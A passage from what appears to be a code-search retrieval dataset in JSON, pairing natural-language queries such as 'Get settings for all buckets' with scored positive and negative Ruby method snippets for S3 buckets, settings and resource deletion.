"text": "def update!(**args)\n @title = args[:title] if args.key?(:title)\n end",
"title": ""
},
{
"docid": "742f098d2882b5adf6421912064b7439",
"score": "0.54550403",
"text": "def update!(**args)\n @title = args[:title] if args.key?(:title)\n end",
"title": ""
},
{
"docid": "742f098d2882b5adf6421912064b7439",
"score": "0.54550403",
"text": "def update!(**args)\n @title = args[:title] if args.key?(:title)\n end",
"title": ""
},
{
"docid": "742f098d2882b5adf6421912064b7439",
"score": "0.54550403",
"text": "def update!(**args)\n @title = args[:title] if args.key?(:title)\n end",
"title": ""
},
{
"docid": "742f098d2882b5adf6421912064b7439",
"score": "0.54550403",
"text": "def update!(**args)\n @title = args[:title] if args.key?(:title)\n end",
"title": ""
},
{
"docid": "8d3605a6831d7e2df80918d5945e2ee0",
"score": "0.54533994",
"text": "def update!(**args)\n @probability = args[:probability] if args.key?(:probability)\n @sentiment = args[:sentiment] if args.key?(:sentiment)\n @text = args[:text] if args.key?(:text)\n @type = args[:type] if args.key?(:type)\n end",
"title": ""
},
{
"docid": "0fbfaf11ee925eff831db893dd9dcd04",
"score": "0.5453331",
"text": "def update_desc\n end",
"title": ""
},
{
"docid": "11c7a275c2c1dbbbe27179b64c9d55f7",
"score": "0.5447574",
"text": "def update!(**args)\n @attribution = args[:attribution] unless args[:attribution].nil?\n @url = args[:url] unless args[:url].nil?\n end",
"title": ""
},
{
"docid": "a929b82b135100c8640ca1f729d5e4be",
"score": "0.54473925",
"text": "def update_actual_rating\n self.actual_rating = self.get_actual_rating\n self.save\n end",
"title": ""
},
{
"docid": "7530fde8d916f3e3b73ee9ba5f3ce580",
"score": "0.5442544",
"text": "def rating\n offer.update_rating\n offer.save!\n end",
"title": ""
},
{
"docid": "8e42fc98f0acc9673f7f8d2f4dbd954a",
"score": "0.54422873",
"text": "def update!(**args)\n @image_alt_text = args[:image_alt_text] if args.key?(:image_alt_text)\n @image_type = args[:image_type] if args.key?(:image_type)\n @image_url = args[:image_url] if args.key?(:image_url)\n @subtitle = args[:subtitle] if args.key?(:subtitle)\n @title = args[:title] if args.key?(:title)\n end",
"title": ""
},
{
"docid": "06d563651c80c69b886032b1aeb43d6b",
"score": "0.5424802",
"text": "def update!(**args)\n @title = args[:title] unless args[:title].nil?\n end",
"title": ""
},
{
"docid": "06d563651c80c69b886032b1aeb43d6b",
"score": "0.5424802",
"text": "def update!(**args)\n @title = args[:title] unless args[:title].nil?\n end",
"title": ""
},
{
"docid": "0b965830f13d3cdf5d75e6e9e130bd10",
"score": "0.54225004",
"text": "def update attributes\n attributes.each do |name, value|\n send \"#{name}=\", value if respond_to? \"#{name}=\"\n end\n update_image if cover_image\n save\n end",
"title": ""
},
{
"docid": "f6c541d8309f0d45738871ccf392b80d",
"score": "0.5406542",
"text": "def update!(**args)\n @alt_text = args[:alt_text] if args.key?(:alt_text)\n @icon_url = args[:icon_url] if args.key?(:icon_url)\n @image_type = args[:image_type] if args.key?(:image_type)\n @known_icon = args[:known_icon] if args.key?(:known_icon)\n end",
"title": ""
},
{
"docid": "87ec7c6beff29e0eb6e09fe96340d9ae",
"score": "0.5403854",
"text": "def update_reviewable_info\n return unless @reviewable.kind_of?(Building)\n @reviewable.update(recommended_percent: @reviewable.suggested_percent, \n reviews_count: @reviewable.reviews.count)\n end",
"title": ""
},
{
"docid": "77db3088ae3f5060653d835f4f1f93aa",
"score": "0.5399483",
"text": "def update_average_rating_of_articles\n self.article = Article.find(self.article.id)\n self.article.update_attributes :average_score => self.article.average_score + self.score\n end",
"title": ""
},
{
"docid": "6060b2e98a81192081b85b3604d7eb77",
"score": "0.5398285",
"text": "def update!(**args)\n @average_iops = args[:average_iops] if args.key?(:average_iops)\n end",
"title": ""
},
{
"docid": "62e91b87048546c6a9f430e53a618077",
"score": "0.539757",
"text": "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @image = args[:image] if args.key?(:image)\n @info = args[:info] if args.key?(:info)\n @title = args[:title] if args.key?(:title)\n end",
"title": ""
},
{
"docid": "62e91b87048546c6a9f430e53a618077",
"score": "0.539757",
"text": "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @image = args[:image] if args.key?(:image)\n @info = args[:info] if args.key?(:info)\n @title = args[:title] if args.key?(:title)\n end",
"title": ""
},
{
"docid": "62e91b87048546c6a9f430e53a618077",
"score": "0.539757",
"text": "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @image = args[:image] if args.key?(:image)\n @info = args[:info] if args.key?(:info)\n @title = args[:title] if args.key?(:title)\n end",
"title": ""
},
{
"docid": "62e91b87048546c6a9f430e53a618077",
"score": "0.539757",
"text": "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @image = args[:image] if args.key?(:image)\n @info = args[:info] if args.key?(:info)\n @title = args[:title] if args.key?(:title)\n end",
"title": ""
},
{
"docid": "62e91b87048546c6a9f430e53a618077",
"score": "0.539757",
"text": "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @image = args[:image] if args.key?(:image)\n @info = args[:info] if args.key?(:info)\n @title = args[:title] if args.key?(:title)\n end",
"title": ""
},
{
"docid": "62e91b87048546c6a9f430e53a618077",
"score": "0.539757",
"text": "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @image = args[:image] if args.key?(:image)\n @info = args[:info] if args.key?(:info)\n @title = args[:title] if args.key?(:title)\n end",
"title": ""
},
{
"docid": "62e91b87048546c6a9f430e53a618077",
"score": "0.539757",
"text": "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @image = args[:image] if args.key?(:image)\n @info = args[:info] if args.key?(:info)\n @title = args[:title] if args.key?(:title)\n end",
"title": ""
},
{
"docid": "62e91b87048546c6a9f430e53a618077",
"score": "0.539757",
"text": "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @image = args[:image] if args.key?(:image)\n @info = args[:info] if args.key?(:info)\n @title = args[:title] if args.key?(:title)\n end",
"title": ""
}
] |
40b7ec770b7e634b9b0fb7b780bf9acc
|
Get settings for all buckets
|
[
{
"docid": "ec5cf09a148a0319999d75e803590baa",
"score": "0.7838795",
"text": "def get_all_buckets(options = Options::Bucket::GetAllBuckets.new)\n @backend.bucket_get_all(options.to_backend)\n .map { |entry| extract_bucket_settings(entry) }\n end",
"title": ""
}
] |
[
{
"docid": "39eacafa268f2c26e2f06333adfc3952",
"score": "0.7760924",
"text": "def get_all_buckets(options = GetAllBucketsOptions.new)\n res = @backend.bucket_get_all(options.timeout)\n res.map(&method(:extract_bucket_settings))\n end",
"title": ""
},
{
"docid": "cf364b2f4c1da0cb2c29ed3d47c461b4",
"score": "0.70850664",
"text": "def list_buckets\n Service.buckets\n end",
"title": ""
},
{
"docid": "3069d89820622adf2557d2a97c2dccfc",
"score": "0.6957498",
"text": "def all_settings\n response = get(\"/settings/all\")[\"response\"][\"settings\"]\n end",
"title": ""
},
{
"docid": "0b38038601020888a814f1a78f38a772",
"score": "0.69053197",
"text": "def buckets\n AWS::S3::Service.buckets\n end",
"title": ""
},
{
"docid": "7995521a82603779ae4587e7ba4c876f",
"score": "0.67947495",
"text": "def list_buckets\n all_buckets.each do |bucket|\n puts bucket.name\n end\n end",
"title": ""
},
{
"docid": "2121c16694c6aae15cc6e803f01eab8e",
"score": "0.6639493",
"text": "def list\n @client.make_request :get, settings_path\n end",
"title": ""
},
{
"docid": "3748a2ee5570ebcd8f61b3da69e27648",
"score": "0.6632144",
"text": "def all\n @settings\n end",
"title": ""
},
{
"docid": "4da17d33d22797e09b0c4f2d84ab3443",
"score": "0.66184896",
"text": "def buckets\n @buckets.compact\n end",
"title": ""
},
{
"docid": "88298a04f9dd48c17f577a98ff041294",
"score": "0.65761316",
"text": "def index\n @s3Configs = S3Config.all\n end",
"title": ""
},
{
"docid": "8f4184a4061eb851366bea2cdd97ca10",
"score": "0.65278774",
"text": "def buckets\n Proxy.new(lambda { list_all_my_buckets }, :owner => self, :extend => BucketsExtension)\n end",
"title": ""
},
{
"docid": "fa17bd9ff1ecf4cf069d1217b314faa8",
"score": "0.6468377",
"text": "def list_buckets\n doc = Adapter.get_service.doc['ListAllMyBucketsResult']['Buckets']\n if doc\n doc['Bucket'].map do |val|\n self[val['Name']]\n end\n else\n []\n end\n end",
"title": ""
},
{
"docid": "638dc6b4762813f4016cb31848b9e4cc",
"score": "0.64537686",
"text": "def buckets\n return @buckets\n end",
"title": ""
},
{
"docid": "591cbf4d199b7099b496761e78387857",
"score": "0.64119273",
"text": "def buckets\n return Bucket.all if self.admin\n \n Bucket.where(:user_ids=> self.id)\n end",
"title": ""
},
{
"docid": "aeef6ec3f204fd80dfcafa0298b4bdfa",
"score": "0.6410161",
"text": "def buckets\n Proxy.new(lambda { buckets_all }, :owner => self, :extend => BucketsExtension)\n end",
"title": ""
},
{
"docid": "d8d26564805f117952ba4a53210aef55",
"score": "0.635898",
"text": "def buckets(buckets = nil)\n @buckets = buckets unless buckets.nil?\n\n @buckets\n end",
"title": ""
},
{
"docid": "5b270e7dd5627ff19b78ecb33a0e0127",
"score": "0.6358003",
"text": "def list_buckets\n @client.execute(\n api_method: @storage.buckets.list,\n parameters: { project: @project }\n )\n end",
"title": ""
},
{
"docid": "5f7c0bb3b23587e706a0f818870c741d",
"score": "0.6345178",
"text": "def settings\n _settings.map(&:name)\n end",
"title": ""
},
{
"docid": "2aac2a0a05c506891a2b31ecf83ac23e",
"score": "0.6338335",
"text": "def get_all_configs\n @configs.values\n end",
"title": ""
},
{
"docid": "22bbae0ca791aa5636338cdb4201b37a",
"score": "0.6309455",
"text": "def buckets(reload = false)\n if reload or @buckets.nil?\n @buckets = list_all_my_buckets\n else\n @buckets\n end\n end",
"title": ""
},
{
"docid": "4d05827c04d9456f555cf9dbda4f9b11",
"score": "0.63089293",
"text": "def all\n all_configs = []\n i = 0\n\n loop do\n configs = Stampr.client.get [\"configs\", \"browse\", \"all\", i]\n break if configs.empty?\n\n all_configs.concat configs.map {|c| self.new symbolize_hash_keys(c) }\n\n i += 1\n end \n\n all_configs\n end",
"title": ""
},
{
"docid": "c008e08ddc347088197f2b7b0e19fb15",
"score": "0.62812376",
"text": "def find_all(options = {})\n proxy_owner.send(:list_bucket, options)\n end",
"title": ""
},
{
"docid": "fb9c775c96fd04b762936812319b8570",
"score": "0.6277125",
"text": "def all(params = {})\n settings = {}\n Options.options.each_value do |option|\n settings[option.name] = get(option.name, params)\n end\n settings\n end",
"title": ""
},
{
"docid": "4c5fe2afa78e41a7b518bc41190008b7",
"score": "0.62267554",
"text": "def list(with_logging = false)\n puts \"Listing buckets...\" if config.debug?\n \n Bucket.each(config.buckets, with_logging) do |bucket|\n print \"#{bucket.name}\"\n puts bucket.logging_enabled? ? \" [#{bucket.targetbucket}/#{bucket.targetprefix}]\" : \" [-]\"\n end\n\n nil\n end",
"title": ""
},
{
"docid": "9169f6a746f3f610fdb6e201d5e3e3e0",
"score": "0.6209767",
"text": "def buckets options = {}\n resp = connection.list_buckets options\n if resp.success?\n Bucket::List.from_response resp, connection\n else\n fail ApiError.from_response(resp)\n end\n end",
"title": ""
},
{
"docid": "9db0da4500e249fa36ff234b17c1aa36",
"score": "0.62090874",
"text": "def get_buckets\n if @options[:enable_cache] && !@cache[:buckets].nil?\n return @cache[:buckets]\n end\n \n response = request_get('/')\n error?(response)\n \n xml = REXML::Document.new(response.body)\n \n buckets = {}\n\n xml.root.elements.each('Buckets/Bucket') do |element|\n bucket_name = element.elements['Name'].text\n creation_date = Time.parse(element.elements['CreationDate'].text)\n \n buckets[bucket_name] = Bucket.new(self, bucket_name, creation_date)\n end\n \n return @cache[:buckets] = buckets\n end",
"title": ""
},
{
"docid": "0d9a0d9a1129656ea6d466ba7b31bbe1",
"score": "0.616319",
"text": "def buckets(expires=nil, headers={})\n @interface.list_all_my_buckets_link(expires, headers)\n end",
"title": ""
},
{
"docid": "0d9a0d9a1129656ea6d466ba7b31bbe1",
"score": "0.616319",
"text": "def buckets(expires=nil, headers={})\n @interface.list_all_my_buckets_link(expires, headers)\n end",
"title": ""
},
{
"docid": "884680f4dc1c2e36b1edaeadfb2cdf8f",
"score": "0.6133258",
"text": "def generate_settings\n return AVAILABLE_SETTINGS.map do |setting_item|\n setting_item.merge({\n value: Setting[setting_item[:key]]\n })\n end\n end",
"title": ""
},
{
"docid": "0a3a3af221bc93895e94dba06a9c0c7e",
"score": "0.61255866",
"text": "def buckets\n @mutex.synchronize { Array.new(@buckets) }\n end",
"title": ""
},
{
"docid": "f9c70119646e2da5118fce1cf99fd2b3",
"score": "0.61049753",
"text": "def buckets(credentials, opts)\n buckets = []\n safely do\n s3_client = s3_client(credentials)\n bucket_list = s3_client.buckets\n bucket_list.each do |current|\n buckets << convert_bucket(current)\n end\n end\n buckets = filter_on(buckets, :id, opts)\n buckets\n end",
"title": ""
},
{
"docid": "dd258686ec42e32f7312301fd8a1a1fb",
"score": "0.6103889",
"text": "def list(reload = false)\n Service.buckets(reload)\n end",
"title": ""
},
{
"docid": "f228b82f208a8a9840b276edaf4a267b",
"score": "0.60989535",
"text": "def _select_all\n @buckets.values.inject({}) do |memo, bucket|\n memo[bucket.name] = bucket.elements\n memo\n end\n end",
"title": ""
},
{
"docid": "ff6e1030e00c91524f517618696056cf",
"score": "0.6090344",
"text": "def settings\n @settings ||= []\n end",
"title": ""
},
{
"docid": "aec6e56958cabbd9ef96ff21a08e9721",
"score": "0.60142344",
"text": "def list_buckets options = {}\n params = { project: @project }\n params[\"prefix\"] = options[:prefix] if options[:prefix]\n params[\"pageToken\"] = options[:token] if options[:token]\n params[\"maxResults\"] = options[:max] if options[:max]\n\n @client.execute(\n api_method: @storage.buckets.list,\n parameters: params\n )\n end",
"title": ""
},
{
"docid": "3f658205259c0ad988e61832ff48da0d",
"score": "0.59972763",
"text": "def keys\n settings.keys\n end",
"title": ""
},
{
"docid": "70fc39fbca15ed91a5e40c6610f309b2",
"score": "0.59916645",
"text": "def list_buckets options = {}\n params = { project: @project }\n params[\"prefix\"] = options[:prefix] if options[:prefix]\n params[\"pageToken\"] = options[:token] if options[:token]\n params[\"maxResults\"] = options[:max] if options[:max]\n\n execute(\n api_method: @storage.buckets.list,\n parameters: params\n )\n end",
"title": ""
},
{
"docid": "d81ee6ada74a905ec3b8514a68ed0583",
"score": "0.59871125",
"text": "def settings\n _settings.names\n end",
"title": ""
},
{
"docid": "748a5d67eb0bd2db40af8269c531e268",
"score": "0.5935461",
"text": "def settings\n fetcher.get_settings(service_id, number)\n end",
"title": ""
},
{
"docid": "b0338f89643efbda42badbcfcf1a49d2",
"score": "0.5931821",
"text": "def query_bucket_list\n begin\n stdout, stderr, status = Open3.capture3('aws s3api list-buckets')\n rescue StandardError\n raise('Error: ' + status + 'Failed to recover buckets list: (' + stderr + ')')\n end\n\n JSON.parse(stdout)['Buckets'].each do |bucket|\n @bucket_list.push(bucket)\n end\n @bucket_list.uniq!\n end",
"title": ""
},
{
"docid": "5c8742f2f7c414d9142a904c39d856df",
"score": "0.59092474",
"text": "def list_buckets\n send_message(Messages::LIST_BUCKETS_REQ)\n receive_response.buckets\n end",
"title": ""
},
{
"docid": "e0e1abf203982144f3fb47b61d9e9956",
"score": "0.59072",
"text": "def get\n buckets = []\n\n # GET the bucket list URI and read an XML document from it.\n doc = REXML::Document.new(open(HOST).read)\n\n # For every bucket...\n REXML::XPath.each(doc, \"//Bucket/Name\") do |e|\n # ...create a new Bucket object and add it to the list.\n buckets << Bucket.new(e.text) if e.text\n end\n return buckets\n end",
"title": ""
},
{
"docid": "63671531943b67e3001c6edf4d5a68cb",
"score": "0.5886316",
"text": "def settings\n @settings ||= Set.new\n end",
"title": ""
},
{
"docid": "4708e016d73fef716b431c3a2c8e00fb",
"score": "0.5884118",
"text": "def settings\n @configs||= {}\n\n settings = @configs.collect { |key,config| Configuration.find_by_name(self.namespaced(key)) || Configuration.new(:name => self.namespaced(key), :value => config[:default]) }\n settings += Configuration.find(:all, :conditions => [\"name like ?\", \"#{self.namespace}:%\"])\n\n settings.uniq\n end",
"title": ""
},
{
"docid": "b4dc549f2658a0815ac669071e493bc8",
"score": "0.5882369",
"text": "def settings; JSON[Api::get_settings(self)]; end",
"title": ""
},
{
"docid": "8ea988898329ecb88dee3b17d0f9618f",
"score": "0.587071",
"text": "def fetch_aws_keys(auth, base) \n project = base.project \n project_name = base.options[:project] || project.name \n return auth.api.get_config_vars(project_name).body['config']\n end",
"title": ""
},
{
"docid": "f413b675070a1155af839a6b1e850b89",
"score": "0.5855707",
"text": "def all\n response, status = BeyondApi::Request.get(@session, \"/order-settings\")\n\n handle_response(response, status)\n end",
"title": ""
},
{
"docid": "8f49ceab271a71065a239f49b097ccc6",
"score": "0.5850906",
"text": "def get_settings\n get_uri = @data['uri'] + '/settings'\n response = @client.rest_get(get_uri, @api_version)\n @client.response_handler(response)\n end",
"title": ""
},
{
"docid": "00c265793640ad713127a393d59e5b3e",
"score": "0.5829462",
"text": "def list_buckets(opts = {})\n logger.info(\"Begin list buckets, options: #{opts}\")\n\n params = {\n 'prefix' => opts[:prefix],\n 'marker' => opts[:marker],\n 'max-keys' => opts[:limit]\n }.reject { |_, v| v.nil? }\n\n r = @http.get( {}, {:query => params})\n doc = parse_xml(r.body)\n\n buckets = doc.css(\"Buckets Bucket\").map do |node|\n Bucket.new(\n {\n :name => get_node_text(node, \"Name\"),\n :location => get_node_text(node, \"Location\"),\n :creation_time =>\n get_node_text(node, \"CreationDate\") { |t| Time.parse(t) }\n }, self\n )\n end\n\n more = {\n :prefix => 'Prefix',\n :limit => 'MaxKeys',\n :marker => 'Marker',\n :next_marker => 'NextMarker',\n :truncated => 'IsTruncated'\n }.reduce({}) { |h, (k, v)|\n value = get_node_text(doc.root, v)\n value.nil?? h : h.merge(k => value)\n }\n\n update_if_exists(\n more, {\n :limit => ->(x) { x.to_i },\n :truncated => ->(x) { x.to_bool }\n }\n )\n\n logger.info(\"Done list buckets, buckets: #{buckets}, more: #{more}\")\n\n [buckets, more]\n end",
"title": ""
},
{
"docid": "cedd4e36a2bfe64c1a6659103a3c4439",
"score": "0.58260775",
"text": "def bucket_objects(bucket)\n Bucket.objects(bucket)\n end",
"title": ""
},
{
"docid": "c43cbc0be1948ba801e038cc79271750",
"score": "0.5819574",
"text": "def bucket\n self.class.bucket\n end",
"title": ""
},
{
"docid": "7689b9dcf60a11aa3bf31762b005cdac",
"score": "0.58186805",
"text": "def settings\n @setting_data ||= Transit::Setting.all.inject({}) do |hash, st|\n hash.merge!(st.key.to_s => st.value)\n end\n end",
"title": ""
},
{
"docid": "12caac863354530a85986686dce90897",
"score": "0.5815102",
"text": "def object_buckets\n @object_buckets ||= {}.tap do |buckets|\n objectStore.buckets.each do |bucket|\n next if bucket.requestedName.nil?\n\n buckets[bucket.requestedName] = bucket\n end\n end\n end",
"title": ""
},
{
"docid": "662c3224e0b5a302864e32d027e7d33c",
"score": "0.5805953",
"text": "def list_aws_bucket_objects(options)\n buckets = get_aws_buckets(options)\n buckets.each do |bucket|\n bucket_name = bucket.name\n if options['bucket'].to_s.match(/^all$|#{bucket_name}/)\n handle_output(options,\"\")\n handle_output(options,\"#{bucket_name}:\")\n s3 = initiate_aws_s3_client(options['access'],options['secret'],options['region'])\n objects = s3.list_objects_v2({ bucket: bucket_name })\n objects.contents.each do |object|\n object_key = object.key\n handle_output(object_key)\n end\n end\n end\n return\nend",
"title": ""
},
{
"docid": "26fcaa9cac5afaa75e1966137d67504b",
"score": "0.5804385",
"text": "def settings( hash )\n\t\tresult = []\n\n\t\tMongrel2::Config.db.transaction do\n\t\t\thash.each do |key, val|\n\t\t\t\tresult << setting( key, val )\n\t\t\tend\n\t\tend\n\n\t\treturn result\n\tend",
"title": ""
},
{
"docid": "e27b7ba83904024b86ff9763f19ff1ae",
"score": "0.58006465",
"text": "def get_settings\n @client.raw('get', '/config/settings')\n end",
"title": ""
},
{
"docid": "1465b4bef19d249997f89462739f953a",
"score": "0.5793599",
"text": "def index\n @setting = Setting\n @settings = Setting.get_all\n @settings = @settings.except(:private_key) unless current_user&.admin?\n end",
"title": ""
},
{
"docid": "90fd32dcc9e82c5e6683605a74606f88",
"score": "0.5791253",
"text": "def get_settings *keys\n return @settings if (keys.empty?)\n return @settings.get(*keys)\n end",
"title": ""
},
{
"docid": "90fd32dcc9e82c5e6683605a74606f88",
"score": "0.5791253",
"text": "def get_settings *keys\n return @settings if (keys.empty?)\n return @settings.get(*keys)\n end",
"title": ""
},
{
"docid": "78f7862059e2fadaa6fd65f45615059c",
"score": "0.574748",
"text": "def settings\n Raconteur::Setting.scoped self\n end",
"title": ""
},
{
"docid": "d050aad25646148ad8a04c784afe2e0f",
"score": "0.574465",
"text": "def settings\n @connection.indices.get_settings index: @index\n end",
"title": ""
},
{
"docid": "03f9ee2c50c0236002205685a6bdd8b7",
"score": "0.5742742",
"text": "def list_buckets prefix: nil, token: nil, max: nil\n execute do\n service.list_buckets @project, prefix: prefix, page_token: token,\n max_results: max\n end\n end",
"title": ""
},
{
"docid": "a37823b6f68f799aaa8f1391d805f641",
"score": "0.5741759",
"text": "def all_files\n @bucket.objects\n end",
"title": ""
},
{
"docid": "b31cd58a1f794d3b283484011286e90f",
"score": "0.5741369",
"text": "def get_bucket(bucket)\n end",
"title": ""
},
{
"docid": "a89d419365b117e698259b89df71dd78",
"score": "0.57272726",
"text": "def get_roundup_settings_all_using_get(opts = {})\n data, _status_code, _headers = get_roundup_settings_all_using_get_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "2f5f0fcadbb4f6af9d3ad1431f06a78b",
"score": "0.5720523",
"text": "def all_shard_config\n return all_config_table.values.flatten\nend",
"title": ""
},
{
"docid": "ae60bca68e4348e6cc7658ee6a0ec6fe",
"score": "0.57141864",
"text": "def all\n read_all accounts.values\n end",
"title": ""
},
{
"docid": "1f266e2d0e0706028d13ed8e58963ab7",
"score": "0.5699758",
"text": "def settings\n client.indices.get_settings(index: name).to_h\n end",
"title": ""
},
{
"docid": "44068b328733f227ebac1b7dd52ced2d",
"score": "0.5680894",
"text": "def bucket\n @bucket ||= connection.directories.get(bucket_name)\n end",
"title": ""
},
{
"docid": "24b81a43da354a4659b9f55714ae634b",
"score": "0.5666467",
"text": "def get_settings; end",
"title": ""
},
{
"docid": "ef2d167f76ee5875c570f92e7b954b3f",
"score": "0.5666397",
"text": "def all\n response, status = BeyondApi::Request.get(@session, \"/product_settings\")\n\n handle_response(response, status)\n end",
"title": ""
},
{
"docid": "de2e35145e43d2d9d458108c65ab4f1e",
"score": "0.56556976",
"text": "def get_by_keys(keys)\n Settingify::Setting.where(key: keys)\n end",
"title": ""
},
{
"docid": "f2169a071f1212c93a3ddfe1077137b5",
"score": "0.56498873",
"text": "def bucket\n @gapi[\"bucket\"]\n end",
"title": ""
},
{
"docid": "1bab703a46b71cb50f35c55dc9731e4e",
"score": "0.5644965",
"text": "def get_names\r\n\t\tsettings = []\r\n #puts \"collecting keys:\"\r\n\t\t@@settings.each { |key, value|\r\n #puts key\r\n\t\t\tsettings.push(key)\r\n\t\t}\r\n #puts \"done collecting keys\"\r\n\t\treturn settings\r\n\tend",
"title": ""
},
{
"docid": "7d04c3fc7b9a35905167661a8dfd205b",
"score": "0.563201",
"text": "def each_setting()\n @settings.each_pair do |k, v|\n yield(k, v[:value], v[:docs], v[:default])\n end\n end",
"title": ""
},
{
"docid": "1a10fd725cb56b8c68a7f18d747f4423",
"score": "0.5591614",
"text": "def settings_list(opts = {})\n data, _status_code, _headers = settings_list_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "5fc8de8d53d7affb878df0a69b554cdf",
"score": "0.55911964",
"text": "def allUsage(periodType)\n getBuckets(periodType).all\n end",
"title": ""
},
{
"docid": "e2cf65c00567906ae4328c210a1d3a7a",
"score": "0.55884737",
"text": "def keys(bucket)\n bucket_info(bucket,KEYS)\n end",
"title": ""
},
{
"docid": "664b56682c8c7020d0f029e80db917a4",
"score": "0.5584523",
"text": "def settings\n @settings.inject({}){|f,h| f.merge!(h); f}\n end",
"title": ""
},
{
"docid": "1c87dfb5f91b4d96fb5190de02313be1",
"score": "0.5571837",
"text": "def get_settings(params = {})\n response = client.get \"{/index}/_settings\", update_params(params, action: \"index.get_settings\", rest_api: \"indices.get_settings\")\n response.body\n end",
"title": ""
},
{
"docid": "4cdf5e1fb645fb737ed12ec89b15dab9",
"score": "0.5569424",
"text": "def index\n @buckets = current_user.buckets.debet\n end",
"title": ""
},
{
"docid": "6544da741069ee548b11c00cc85082f6",
"score": "0.5568883",
"text": "def list_default_acls bucket_name\n execute(\n api_method: @storage.default_object_access_controls.list,\n parameters: { bucket: bucket_name }\n )\n end",
"title": ""
},
{
"docid": "1990095425fbfe0519d7196eae36e87c",
"score": "0.5561565",
"text": "def settings\n @settable.settings\n end",
"title": ""
},
{
"docid": "a0f5ad2be72f84a41b54a412213a2719",
"score": "0.55596423",
"text": "def bucket\n if @bucket.nil?\n @bucket = client.bucket(Config.s3_bucket)\n end\n @bucket\n end",
"title": ""
},
{
"docid": "058be82c249c0f5908007e905f445219",
"score": "0.5558817",
"text": "def list_default_acls bucket_name\n @client.execute(\n api_method: @storage.default_object_access_controls.list,\n parameters: { bucket: bucket_name }\n )\n end",
"title": ""
},
{
"docid": "e4cf12ccc90896d184bf4dce8659746e",
"score": "0.5558284",
"text": "def settings\n CircleCi.request(\"#{base_path}/settings\").get\n end",
"title": ""
},
{
"docid": "a02cb7763aa24862c3cfd376ae40b41c",
"score": "0.55508655",
"text": "def index\n @client_publishing_settings = ClientPublishingSetting.all\n end",
"title": ""
},
{
"docid": "abd2cdd639fe53c1b79f08ececb3dffd",
"score": "0.5550017",
"text": "def run_me\r\n region = 'us-west-2'\r\n s3_client = Aws::S3::Client.new(region: region)\r\n list_buckets(s3_client, 25)\r\nend",
"title": ""
},
{
"docid": "8dd393233f777e8ec8583ecbeb356276",
"score": "0.55331695",
"text": "def get_s3()\n s3_list = []\n data_bucket = @s3.buckets[\"#{@bucket}\"].objects.with_prefix(\"#{@path}\")\n data_bucket.each do |data_file|\n unless data_file.key.eql? \"#{@path}/\"\n s3_list.push(data_file.key.split('/')[-1])\n end\n end\n return s3_list\n end",
"title": ""
},
{
"docid": "08f7ab1d905eaa327eadffa0b2e2b356",
"score": "0.5532545",
"text": "def index\n\t\t@settings = Setting.order(name: :asc)\n\tend",
"title": ""
},
{
"docid": "cb2ef7562388a44037dd4ac9b30dcc4b",
"score": "0.5530131",
"text": "def to_json(_ = nil)\n buckets.to_json\n end",
"title": ""
},
{
"docid": "cfd5c1633e7c073e44aceb961e2ffe05",
"score": "0.55291474",
"text": "def get_storage_pools\n self.class.find_with_pagination(@client, @data['uri'] + '/storage-pools')\n end",
"title": ""
},
{
"docid": "7fa340a45ad1d35c5ad28b988e3f8540",
"score": "0.552739",
"text": "def buckets=(value)\n @buckets = value\n end",
"title": ""
},
{
"docid": "6ee7c85201d764d7f846bad5d02cd65e",
"score": "0.5524352",
"text": "def option_settings\n result = []\n options.each_key do |namespace|\n options[namespace].each do |option_name, value|\n result << to_option_setting(namespace, option_name, value)\n end\n end\n\n #{\"option_settings\" => result}\n result\n end",
"title": ""
},
{
"docid": "064d98b41c41c5e7b01041e920473472",
"score": "0.55171055",
"text": "def settings\n @settings ||= {}\n end",
"title": ""
},
{
"docid": "064d98b41c41c5e7b01041e920473472",
"score": "0.55171055",
"text": "def settings\n @settings ||= {}\n end",
"title": ""
},
{
"docid": "cf2fa26e7039356afce65b9b91d70d95",
"score": "0.5511667",
"text": "def read_multiple(settings)\n values_to_return = {}\n \n # Grab the configuration mutex to ensure atomic execution \n @configuration_mutex.synchronize do\n settings.each do |setting|\n unless SETTINGS.include?(setting)\n raise \"Setting #{setting} does not exist\"\n end\n\n values_to_return[setting] = self.instance_variable_get(\"@#{setting}\")\n end\n end\n\n return values_to_return\n end",
"title": ""
},
{
"docid": "9c873bb581d0b131d28aaa4413f22535",
"score": "0.5510981",
"text": "def index\n @settings = @project.settings.to_a\n end",
"title": ""
},
{
"docid": "9bae015aba662459c67eca4b4a9f1d08",
"score": "0.55078137",
"text": "def run_me\r\n region = 'us-west-2'\r\n s3_client = Aws::S3::Client.new(region: region)\r\n\r\n list_accessible_buckets_in_region(s3_client, region)\r\nend",
"title": ""
},
{
"docid": "a41918d748b7caf11850bb48a7162da0",
"score": "0.5494775",
"text": "def settings\n @settings ||= {}\n end",
"title": ""
},
{
"docid": "a41918d748b7caf11850bb48a7162da0",
"score": "0.5494775",
"text": "def settings\n @settings ||= {}\n end",
"title": ""
}
] |
a626d073b0d8cf866419244138d1aa14
|
DELETE resource by id
|
[
{
"docid": "c32a900dbd48fef920e13412c5e973aa",
"score": "0.0",
"text": "def destroy\n uuid = params[:id]\n upload = Upload.by_user(current_user).with_hash(uuid).first\n file = upload.path\n File.delete(file) if File.exist?(file)\n upload.destroy\n flash[:notice] = \"File deleted.\"\n redirect_to \"/\"\n end",
"title": ""
}
] |
[
{
"docid": "1d5552e89b4c0924bd7433e07b945a4a",
"score": "0.8538552",
"text": "def destroy(id)\n handle(delete \"#{resource_path}/#{id}\")\n end",
"title": ""
},
{
"docid": "0108b9f58eb9d3df642968dbc1ef2ace",
"score": "0.84773767",
"text": "def delete(resource, id)\n LOG.debug \"delete: #{resource}\"\n raise \"Invalid resource\" if not valid_resource?(resource)\n\n self.class.delete(\n \"#{@my_base_url}/#{resource}/#{id}\", \n :headers => @my_headers)\n end",
"title": ""
},
{
"docid": "db759fd35b037f18b7347c9f4d9f3ce0",
"score": "0.8444266",
"text": "def delete(id); end",
"title": ""
},
{
"docid": "f4cc210b36c6a0bb34c5fcf4722fd911",
"score": "0.8425875",
"text": "def delete resource, id='', options=nil\n call resource, id, options, :delete\n end",
"title": ""
},
{
